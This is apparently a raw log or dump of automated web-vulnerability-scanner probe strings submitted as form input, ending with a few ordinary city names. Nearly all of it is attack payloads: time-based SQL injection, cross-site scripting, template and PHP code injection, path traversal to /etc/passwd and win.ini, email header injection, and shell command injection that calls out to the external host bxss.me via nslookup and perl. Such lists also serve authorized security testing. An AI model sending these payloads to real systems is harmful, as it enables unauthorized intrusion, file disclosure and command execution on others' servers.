@@BRkYM

1'"

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),20.867)

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

wubLtQnR')) OR 11=(SELECT 11 FROM PG_SLEEP(41.734))--

AdbEX2YN')) OR 718=(SELECT 718 FROM PG_SLEEP(15))--

LdQDyNMU')) OR 700=(SELECT 700 FROM PG_SLEEP(15))--

TzqOugQD') OR 112=(SELECT 112 FROM PG_SLEEP(15))--

4V51HFbK' OR 525=(SELECT 525 FROM PG_SLEEP(15))--

-1)) OR 691=(SELECT 691 FROM PG_SLEEP(15))--

-5) OR 581=(SELECT 581 FROM PG_SLEEP(15))--

-5 OR 463=(SELECT 463 FROM PG_SLEEP(15))--

iBkpSsXY'; waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1; waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0"XOR(if(now()=sysdate(),sleep(41.734),0))XOR"Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1BrDEl 4sbP(9417)

1}body{zzz:Expre/**/SSion(4sbP(9356))}

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1

if(now()=sysdate(),sleep(41.734),0)

1<ScRiPt>4sbP(9504)</sCripT>

1\u003CScRiPt\4sbP(9248)\u003C/sCripT\u003E

%31%3C%53%63%52%69%50%74%20%3E%34%73%62%50%289221%29%3C%2F%73%43%72%69%70%54%3E

if(now()=sysdate(),sleep(15),0)

1

1

1

1

-1" OR 3+967-967-1=0+0+0+1 --

1

-1" OR 2+967-967-1=0+0+0+1 --

-1' OR 3+611-611-1=0+0+0+1 or 'Cn2gakWD'='

1

-1' OR 2+611-611-1=0+0+0+1 or 'Cn2gakWD'='

-1' OR 3+250-250-1=0+0+0+1 --

1

-1' OR 2+250-250-1=0+0+0+1 --

-1 OR 3+883-883-1=0+0+0+1

14sbP(9552)

-1 OR 2+883-883-1=0+0+0+1

-1 OR 3+172-172-1=0+0+0+1 --

1

-1 OR 2+172-172-1=0+0+0+1 --

1

14sbP(9200)

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%34%73%62%50%28%39%37%30%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

14sbP(9103)

1OXHSY[!+!]

14sbP(9550)

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb__${98991*97996}__::.x

dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

1

1}}"}}'}}1%>"%>'%>

WEB-INF\web.xml

WEB-INF/web.xml

1

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

1

..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

..\..\..\..\..\..\..\..\windows\win.ini

%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini

/../../../../../../../../../../boot.ini

bfgx1274%C0%BEz1%C0%BCz2a%90bcxhjl1274

../../../../../../../../../../windows/win.ini%00.jpg

C:\WINDOWS\system32\drivers\etc\hosts

bfg2384%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl2384

/WEB-INF/web.xml

/\../\../\../\../\../\../\../etc/passwd

19078765

file:///etc/passwd

invalid../../../../../../../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

'"()&%4sbP(9963)

..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd

../././../././../././../././../././../././../././../././../././../././etc/passwd

bxss.me

1'"()&%4sbP(9212)

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

c:/windows/win.ini

'.print(md5(31337)).'

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

/etc/shells

${@print(md5(31337))}\

/.././.././.././.././.././.././.././../etc/./passwd%00

;(nslookup hitynbftvuvxffecfb.bxss.me||perl -e "gethostbyname('hitynbftvuvxffecfb.bxss.me')")|(nslookup hitynbftvuvxffecfb.bxss.me||perl -e "gethostbyname('hitynbftvuvxffecfb.bxss.me')")&(nslookup hitynbftvuvxffecfb.bxss.me||perl -e "gethostbyname('hitynb

http://bxss.me/t/fit.txt%3F.jpg

${@print(md5(31337))}

%2fetc%2fpasswd

`(nslookup hitwhylbspxug24eb5.bxss.me||perl -e "gethostbyname('hitwhylbspxug24eb5.bxss.me')")`

Http://bxss.me/t/fit.txt

";print(md5(31337));$a="

'"

/etc/passwd

|(nslookup hitvbgaiohglo8bd43.bxss.me||perl -e "gethostbyname('hitvbgaiohglo8bd43.bxss.me')")

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

';print(md5(31337));$a='

/xfs.bxss.me

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

&(nslookup hityorgzskgvh5d705.bxss.me||perl -e "gethostbyname('hityorgzskgvh5d705.bxss.me')")&'\"`0&(nslookup hityorgzskgvh5d705.bxss.me||perl -e "gethostbyname('hityorgzskgvh5d705.bxss.me')")&`'

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

/../..//../..//../..//../..//../..//etc/passwd%00.jpg

$(nslookup hitosfaonqwkc5e075.bxss.me||perl -e "gethostbyname('hitosfaonqwkc5e075.bxss.me')")

^(#$!@#$)(()))******

'+'A'.concat(70-3).concat(22*4).concat(118).concat(81).concat(101).concat(83)+(require'socket' Socket.gethostbyname('hitlo'+'qiiytobcf8913.bxss.me.')[3].to_s)+'

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

(nslookup hitrbxurjzlacc6c21.bxss.me||perl -e "gethostbyname('hitrbxurjzlacc6c21.bxss.me')")

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

!(()&&!|*|*|

bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(109).concat(88).concat(99).concat(74)+(require"socket" Socket.gethostbyname("hitwo"+"zgaydctq8dc53.bxss.me.")[3].to_s)+"

../../../../../../../../../../etc/passwd%00.jpg

|echo qugeuu$()\ bbdbgl\nz^xyu||a #' |echo qugeuu$()\ bbdbgl\nz^xyu||a #|" |echo qugeuu$()\ bbdbgl\nz^xyu||a #

".gethostbyname(lc("hitmh"."rvjdrsaxa47ed.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(67).chr(99).chr(82)."

)

HttP://bxss.me/t/xss.html?%00

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

&echo cjkfea$()\ jnmzvs\nz^xyu||a #' &echo cjkfea$()\ jnmzvs\nz^xyu||a #|" &echo cjkfea$()\ jnmzvs\nz^xyu||a #

'.gethostbyname(lc('hitqy'.'yfpiysdt705b7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(78).chr(114).chr(77).'

&n982070=v980662

../../../../../../../../../../../../../../../proc/version

echo jdncyq$()\ fubfut\nz^xyu||a #' &echo jdncyq$()\ fubfut\nz^xyu||a #|" &echo jdncyq$()\ fubfut\nz^xyu||a #

file:///etc/passwd

../../../../../../../../../../../../../../windows/win.ini

../../../../../../../../../../../../../../etc/passwd

${10000070+9999588}

to@example.com>%0d%0abcc:074625.1530-7258.1530.8e576.20124.2@bxss.me

"+response.write(9840688*9829042)+"

%0abcc:074625.1530-7257.1530.8e576.20124.2@bxss.me

'+response.write(9840688*9829042)+'

response.write(9840688*9829042)

smFVzSYa

1I0EgGPxO

San Jose

Madurai

2 Space

Madurai

1 Space

Chicago

3 Space